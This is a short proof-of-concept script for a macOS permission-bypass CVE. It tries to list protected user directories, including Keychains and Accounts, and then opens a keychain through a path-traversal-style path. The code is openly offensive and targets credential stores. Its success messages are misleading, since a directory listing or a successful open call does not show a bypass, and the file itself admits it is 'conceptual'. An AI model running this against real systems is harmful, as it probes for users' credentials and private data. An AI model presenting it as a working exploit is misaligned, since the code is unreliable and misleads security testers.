CVE-2025-43469

// CVE-2025-43469 PoC - macOS Permission Bypass // This PoC demonstrates unauthorized access to sensitive user data #include <Foundation/Foundation.h> #include <Security/Security.h> int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"[*] CVE-2025-43469 PoC - Testing permission bypass"); // Attempt to access protected user data directories NSArray *sensitivePaths = @[ @"~/Library/Application Support/", @"~/Library/Preferences/", @"~/Library/Accounts/", @"~/Library/Keychains/" ]; for (NSString *path in sensitivePaths) { NSString *expandedPath = [path stringByExpandingTildeInPath]; NSFileManager *fm = [NSFileManager defaultManager]; NSError *error = nil; NSArray *contents = [fm contentsOfDirectoryAtPath:expandedPath error:&error]; if (contents && !error) { NSLog(@"[+] Successfully accessed: %@", expandedPath); NSLog(@"[+] Contents: %@", contents); } else { NSLog(@"[-] Access denied: %@", expandedPath); } } // Test Keychain access (if vulnerable) SecKeychainRef keychain = NULL; OSStatus status = SecKeychainOpen("/Users/Shared/UserNotification/../somepath", &keychain); if (status == errSecSuccess) { NSLog(@"[+] Keychain access bypass successful!"); } NSLog(@"[*] PoC execution completed"); } return 0; } // Note: This is a conceptual PoC. Actual exploitation requires specific // macOS version and configuration. Update to patched versions to mitigate.

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